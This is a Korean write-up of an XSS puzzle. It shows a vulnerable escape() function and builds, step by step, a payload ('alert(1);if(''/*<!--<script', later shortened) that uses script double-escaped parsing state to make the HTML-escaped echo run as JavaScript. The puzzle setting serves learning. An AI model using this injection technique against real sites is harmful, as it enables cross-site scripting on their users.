0. 문제

 

function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}

 

 [java script] [html] [javascript] 형식으로 Test iframe에 출력된다.

 

 

1. 풀이

 

 JSON3 문제와 동일한 방식으로 script double escaped state를 이용해서 풀면된다.

 

Input

<!--<script 

Output

<script>var url = "<!--<script "; // We'll use this later </script>

  <!-- for debugging -->
  URL: &#60;!--&#60;script 

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

 

 input으로 <!--<script를 넣게 되면 뒷부분의 </script>가 주석처리가 된다. ('</script>' 도 html이 아닌 javascript로 해석되기 때문에)

 

 그렇게 되면 html의 data state 부분이 script data state로 변하게 되고 

 

 <!-- for debugging -->

 URL: &#60;!--&#60;script

 

 부분이 javascript로 해석되기 때문에 

 

 Error: Uncaught SyntaxError: Unexpected token '&' 라는 오류가 발생한다.

 

 그래서 &뒷부분을 /*로 주석처리 해버리면

 

 

 

Input

/*<!--<script 

Output

<script>var url = "\/*<!--<script "; // We'll use this later </script>

  <!-- for debugging -->
  URL: /*&#60;!--&#60;script 

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

 

 이렇게 input을 넣게 되면 if문절에 있는 .test(url)때문에 에러가 발생하기 때문에

 

 if(''를 앞에 붙여주면 

 

 

Input

if(''/*<!--<script 

Output

<script>var url = "if(''\/*<!--<script "; // We'll use this later </script>

  <!-- for debugging -->
  URL: if(''/*&#60;!--&#60;script 

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

 

이렇게 되면 뒷부분은 정상적으로 실행되게 되고 if('' 앞에 alert(1)를 붙여주면 끝.

 

tip) 'URL:' 은 goto에서 사용되는 label로 인식되기 때문에 URL대신 아무 문자가 와도 상관없음.

 

Input

alert(1);if(''/*<!--<script 

Output

<script>var url = "alert(1);if(''\/*<!--<script "; // We'll use this later </script>

  <!-- for debugging -->
  URL: alert(1);if(''/*&#60;!--&#60;script 

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

 

최종 payload인 

 

'alert(1);if(''/*<!--<script ' 보다 짧은

 

'if(alert(1)/*<!--<script '를 발견했다.

 

+ Recent posts